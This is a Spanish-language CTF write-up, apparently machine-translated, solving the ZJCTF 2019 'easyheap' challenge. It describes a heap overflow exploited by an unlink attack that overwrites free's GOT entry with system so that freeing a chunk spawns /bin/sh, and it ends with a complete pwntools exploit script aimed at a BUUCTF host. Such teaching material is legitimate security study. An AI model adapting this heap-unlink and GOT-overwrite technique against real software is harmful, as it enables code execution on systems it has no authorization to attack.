Esta pregunta tiene solo tres partes principales: agregar, editar y eliminar. No hay parte de mostrar de la
función create_heap. El puntero de fragmento se almacena en la matriz heaparray del segmento bss.
función edit_heap, tenga en cuenta que la longitud de los datos ingresados aquí puede ser establecida por usted mismo, puede desbordar la
función delete_heap a voluntad.
Además, también existe una función l33t:
en el programa, puede ejecutar esta función siempre que cumpla con ciertas condiciones Sí, supongo que esta función puede estar disponible durante la competencia [ZJCTF 2019], pero no está disponible en buu ahora y el directorio de archivos de la bandera es incorrecto. Sin embargo, podemos usar esta función del sistema.
Aquí uso desvincular
add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')
Crea tres trozos
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)
Diseñe los datos de fragmentos falsos, modifique el encabezado de chunk2, ptr es la dirección de almacenamiento del puntero de chunk1
delete(2)
desvincular, realizar el control de los datos en la matriz heaparray del segmento bss
payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
Modifique el puntero chunk0 a free_got, escriba "/ bin / sh" en el segmento bss, modifique el puntero chunk2 para que apunte a "/ bin / sh", y luego edite chunk0, porque el puntero chunk0 se ha cambiado a free_got, ahora modifíquelo Es free_got, modifíquelo a la dirección plt de la función del sistema. En
este momento, cuando se ejecuta la operación de free (chunk2), es equivalente a ejecutar el sistema ("/ bin / sh")
Después de terminar esta pregunta, miré el wp de otras personas y descubrí que muchas personas usan la tecnología de la casa del espíritu para controlar el puntero en el contenedor rápido y forjar un fragmento falso cerca de la matriz heaparray en el segmento bss para controlar el heaparray. Datos
Mi exp completa:
from pwn import *
sh=remote("node3.buuoj.cn",26189)
elf=ELF("./easyheap")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020e8
def add(size,content):
sh.recvuntil("Your choice :")
sh.sendline('1')
sh.recvuntil("Size of Heap : ")
sh.sendline(str(size))
sh.recvuntil("Content of heap:")
sh.sendline(content)
def edit(idx, size, content):
sh.recvuntil("Your choice :")
sh.sendline('2')
sh.recvuntil("Index :")
sh.sendline(str(idx))
sh.recvuntil("Size of Heap : ")
sh.sendline(str(size))
sh.recvuntil("Content of heap : ")
sh.sendline(content)
def delete(idx):
sh.recvuntil("Your choice :")
sh.sendline('3')
sh.recvuntil("Index :")
sh.sendline(str(idx))
add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)
delete(2)
payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
sh.interactive()